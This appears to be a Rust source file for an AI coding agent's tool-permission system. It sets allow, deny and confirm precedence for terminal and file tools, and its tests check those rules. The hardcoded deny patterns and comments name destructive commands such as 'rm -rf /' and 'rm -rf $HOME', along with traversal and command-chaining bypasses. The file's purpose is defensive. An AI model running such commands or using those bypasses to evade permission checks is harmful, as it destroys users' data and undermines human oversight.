1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Zed cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::AgentTool;
562 use crate::pattern_extraction::extract_terminal_pattern;
563 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 default_width: px(300.),
575 default_height: px(600.),
576 default_model: None,
577 inline_assistant_model: None,
578 inline_assistant_use_streaming_tools: false,
579 commit_message_model: None,
580 thread_summary_model: None,
581 inline_alternatives: vec![],
582 favorite_models: vec![],
583 default_profile: AgentProfileId::default(),
584 default_view: DefaultAgentView::Thread,
585 profiles: Default::default(),
586 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
587 play_sound_when_agent_done: false,
588 single_file_review: false,
589 model_parameters: vec![],
590 enable_feedback: false,
591 expand_edit_card: true,
592 expand_terminal_card: true,
593 cancel_generation_on_terminal_stop: true,
594 use_modifier_to_send: true,
595 message_editor_min_lines: 1,
596 tool_permissions,
597 show_turn_stats: false,
598 new_thread_location: Default::default(),
599 }
600 }
601
602 fn pattern(command: &str) -> &'static str {
603 Box::leak(
604 extract_terminal_pattern(command)
605 .expect("failed to extract pattern")
606 .into_boxed_str(),
607 )
608 }
609
610 struct PermTest {
611 tool: &'static str,
612 input: &'static str,
613 mode: Option<ToolPermissionMode>,
614 allow: Vec<(&'static str, bool)>,
615 deny: Vec<(&'static str, bool)>,
616 confirm: Vec<(&'static str, bool)>,
617 global_default: ToolPermissionMode,
618 shell: ShellKind,
619 }
620
621 impl PermTest {
622 fn new(input: &'static str) -> Self {
623 Self {
624 tool: TerminalTool::NAME,
625 input,
626 mode: None,
627 allow: vec![],
628 deny: vec![],
629 confirm: vec![],
630 global_default: ToolPermissionMode::Confirm,
631 shell: ShellKind::Posix,
632 }
633 }
634
635 fn tool(mut self, t: &'static str) -> Self {
636 self.tool = t;
637 self
638 }
639 fn mode(mut self, m: ToolPermissionMode) -> Self {
640 self.mode = Some(m);
641 self
642 }
643 fn allow(mut self, p: &[&'static str]) -> Self {
644 self.allow = p.iter().map(|s| (*s, false)).collect();
645 self
646 }
647 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
648 self.allow = p.iter().map(|s| (*s, true)).collect();
649 self
650 }
651 fn deny(mut self, p: &[&'static str]) -> Self {
652 self.deny = p.iter().map(|s| (*s, false)).collect();
653 self
654 }
655 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
656 self.deny = p.iter().map(|s| (*s, true)).collect();
657 self
658 }
659 fn confirm(mut self, p: &[&'static str]) -> Self {
660 self.confirm = p.iter().map(|s| (*s, false)).collect();
661 self
662 }
663 fn global_default(mut self, m: ToolPermissionMode) -> Self {
664 self.global_default = m;
665 self
666 }
667 fn shell(mut self, s: ShellKind) -> Self {
668 self.shell = s;
669 self
670 }
671
672 fn is_allow(self) {
673 assert_eq!(
674 self.run(),
675 ToolPermissionDecision::Allow,
676 "expected Allow for '{}'",
677 self.input
678 );
679 }
680 fn is_deny(self) {
681 assert!(
682 matches!(self.run(), ToolPermissionDecision::Deny(_)),
683 "expected Deny for '{}'",
684 self.input
685 );
686 }
687 fn is_confirm(self) {
688 assert_eq!(
689 self.run(),
690 ToolPermissionDecision::Confirm,
691 "expected Confirm for '{}'",
692 self.input
693 );
694 }
695
696 fn run(&self) -> ToolPermissionDecision {
697 let mut tools = collections::HashMap::default();
698 tools.insert(
699 Arc::from(self.tool),
700 ToolRules {
701 default: self.mode,
702 always_allow: self
703 .allow
704 .iter()
705 .map(|(p, cs)| {
706 CompiledRegex::new(p, *cs)
707 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
708 })
709 .collect(),
710 always_deny: self
711 .deny
712 .iter()
713 .map(|(p, cs)| {
714 CompiledRegex::new(p, *cs)
715 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
716 })
717 .collect(),
718 always_confirm: self
719 .confirm
720 .iter()
721 .map(|(p, cs)| {
722 CompiledRegex::new(p, *cs)
723 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
724 })
725 .collect(),
726 invalid_patterns: vec![],
727 },
728 );
729 ToolPermissionDecision::from_input(
730 self.tool,
731 &[self.input.to_string()],
732 &ToolPermissions {
733 default: self.global_default,
734 tools,
735 },
736 self.shell,
737 )
738 }
739 }
740
741 fn t(input: &'static str) -> PermTest {
742 PermTest::new(input)
743 }
744
745 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
746 ToolPermissionDecision::from_input(
747 TerminalTool::NAME,
748 &[input.to_string()],
749 &ToolPermissions {
750 default: global_default,
751 tools: collections::HashMap::default(),
752 },
753 ShellKind::Posix,
754 )
755 }
756
757 // allow pattern matches
758 #[test]
759 fn allow_exact_match() {
760 t("cargo test").allow(&[pattern("cargo")]).is_allow();
761 }
762 #[test]
763 fn allow_one_of_many_patterns() {
764 t("npm install")
765 .allow(&[pattern("cargo"), pattern("npm")])
766 .is_allow();
767 t("git status")
768 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
769 .is_allow();
770 }
771 #[test]
772 fn allow_middle_pattern() {
773 t("run cargo now").allow(&["cargo"]).is_allow();
774 }
775 #[test]
776 fn allow_anchor_prevents_middle() {
777 t("run cargo now").allow(&["^cargo"]).is_confirm();
778 }
779
780 // allow pattern doesn't match -> falls through
781 #[test]
782 fn allow_no_match_confirms() {
783 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
784 }
785 #[test]
786 fn allow_no_match_global_allows() {
787 t("python x.py")
788 .allow(&[pattern("cargo")])
789 .global_default(ToolPermissionMode::Allow)
790 .is_allow();
791 }
792 #[test]
793 fn allow_no_match_tool_confirm_overrides_global_allow() {
794 t("python x.py")
795 .allow(&[pattern("cargo")])
796 .mode(ToolPermissionMode::Confirm)
797 .global_default(ToolPermissionMode::Allow)
798 .is_confirm();
799 }
800 #[test]
801 fn allow_no_match_tool_allow_overrides_global_confirm() {
802 t("python x.py")
803 .allow(&[pattern("cargo")])
804 .mode(ToolPermissionMode::Allow)
805 .global_default(ToolPermissionMode::Confirm)
806 .is_allow();
807 }
808
809 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
810 #[test]
811 fn deny_blocks() {
812 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
813 }
814 // global default: allow does NOT bypass user-configured deny rules
815 #[test]
816 fn deny_not_bypassed_by_global_default_allow() {
817 t("rm -rf ./temp")
818 .deny(&["rm\\s+-rf"])
819 .global_default(ToolPermissionMode::Allow)
820 .is_deny();
821 }
822 #[test]
823 fn deny_blocks_with_mode_allow() {
824 t("rm -rf ./temp")
825 .deny(&["rm\\s+-rf"])
826 .mode(ToolPermissionMode::Allow)
827 .is_deny();
828 }
829 #[test]
830 fn deny_middle_match() {
831 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
832 }
833 #[test]
834 fn deny_no_match_falls_through() {
835 t("ls -la")
836 .deny(&["rm\\s+-rf"])
837 .mode(ToolPermissionMode::Allow)
838 .is_allow();
839 }
840
841 // confirm pattern matches
842 #[test]
843 fn confirm_requires_confirm() {
844 t("sudo apt install")
845 .confirm(&[pattern("sudo")])
846 .is_confirm();
847 }
848 // global default: allow does NOT bypass user-configured confirm rules
849 #[test]
850 fn global_default_allow_does_not_override_confirm_pattern() {
851 t("sudo reboot")
852 .confirm(&[pattern("sudo")])
853 .global_default(ToolPermissionMode::Allow)
854 .is_confirm();
855 }
856 #[test]
857 fn confirm_overrides_mode_allow() {
858 t("sudo x")
859 .confirm(&["sudo"])
860 .mode(ToolPermissionMode::Allow)
861 .is_confirm();
862 }
863
864 // confirm beats allow
865 #[test]
866 fn confirm_beats_allow() {
867 t("git push --force")
868 .allow(&[pattern("git")])
869 .confirm(&["--force"])
870 .is_confirm();
871 }
872 #[test]
873 fn confirm_beats_allow_overlap() {
874 t("deploy prod")
875 .allow(&["deploy"])
876 .confirm(&["prod"])
877 .is_confirm();
878 }
879 #[test]
880 fn allow_when_confirm_no_match() {
881 t("git status")
882 .allow(&[pattern("git")])
883 .confirm(&["--force"])
884 .is_allow();
885 }
886
887 // deny beats allow
888 #[test]
889 fn deny_beats_allow() {
890 t("rm -rf ./tmp/x")
891 .allow(&["/tmp/"])
892 .deny(&["rm\\s+-rf"])
893 .is_deny();
894 }
895
896 #[test]
897 fn deny_beats_confirm() {
898 t("sudo rm -rf ./temp")
899 .confirm(&["sudo"])
900 .deny(&["rm\\s+-rf"])
901 .is_deny();
902 }
903
904 // deny beats everything
905 #[test]
906 fn deny_beats_all() {
907 t("bad cmd")
908 .allow(&["cmd"])
909 .confirm(&["cmd"])
910 .deny(&["bad"])
911 .is_deny();
912 }
913
914 // no patterns -> default
915 #[test]
916 fn default_confirm() {
917 t("python x.py")
918 .mode(ToolPermissionMode::Confirm)
919 .is_confirm();
920 }
921 #[test]
922 fn default_allow() {
923 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
924 }
925 #[test]
926 fn default_deny() {
927 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
928 }
929 // Tool-specific default takes precedence over global default
930 #[test]
931 fn tool_default_deny_overrides_global_allow() {
932 t("python x.py")
933 .mode(ToolPermissionMode::Deny)
934 .global_default(ToolPermissionMode::Allow)
935 .is_deny();
936 }
937
938 // Tool-specific default takes precedence over global default
939 #[test]
940 fn tool_default_confirm_overrides_global_allow() {
941 t("x")
942 .mode(ToolPermissionMode::Confirm)
943 .global_default(ToolPermissionMode::Allow)
944 .is_confirm();
945 }
946
947 #[test]
948 fn no_rules_uses_global_default() {
949 assert_eq!(
950 no_rules("x", ToolPermissionMode::Confirm),
951 ToolPermissionDecision::Confirm
952 );
953 assert_eq!(
954 no_rules("x", ToolPermissionMode::Allow),
955 ToolPermissionDecision::Allow
956 );
957 assert!(matches!(
958 no_rules("x", ToolPermissionMode::Deny),
959 ToolPermissionDecision::Deny(_)
960 ));
961 }
962
963 #[test]
964 fn empty_input_no_match() {
965 t("")
966 .deny(&["rm"])
967 .mode(ToolPermissionMode::Allow)
968 .is_allow();
969 }
970
971 #[test]
972 fn empty_input_with_allow_falls_to_default() {
973 t("").allow(&["^ls"]).is_confirm();
974 }
975
976 #[test]
977 fn multi_deny_any_match() {
978 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
979 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
980 }
981
982 #[test]
983 fn multi_allow_any_match() {
984 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
985 }
986 #[test]
987 fn multi_none_match() {
988 t("python x")
989 .allow(&["^cargo", "^npm"])
990 .deny(&["rm"])
991 .is_confirm();
992 }
993
994 // tool isolation
995 #[test]
996 fn other_tool_not_affected() {
997 let mut tools = collections::HashMap::default();
998 tools.insert(
999 Arc::from(TerminalTool::NAME),
1000 ToolRules {
1001 default: Some(ToolPermissionMode::Deny),
1002 always_allow: vec![],
1003 always_deny: vec![],
1004 always_confirm: vec![],
1005 invalid_patterns: vec![],
1006 },
1007 );
1008 tools.insert(
1009 Arc::from(EditFileTool::NAME),
1010 ToolRules {
1011 default: Some(ToolPermissionMode::Allow),
1012 always_allow: vec![],
1013 always_deny: vec![],
1014 always_confirm: vec![],
1015 invalid_patterns: vec![],
1016 },
1017 );
1018 let p = ToolPermissions {
1019 default: ToolPermissionMode::Confirm,
1020 tools,
1021 };
1022 assert!(matches!(
1023 ToolPermissionDecision::from_input(
1024 TerminalTool::NAME,
1025 &["x".to_string()],
1026 &p,
1027 ShellKind::Posix
1028 ),
1029 ToolPermissionDecision::Deny(_)
1030 ));
1031 assert_eq!(
1032 ToolPermissionDecision::from_input(
1033 EditFileTool::NAME,
1034 &["x".to_string()],
1035 &p,
1036 ShellKind::Posix
1037 ),
1038 ToolPermissionDecision::Allow
1039 );
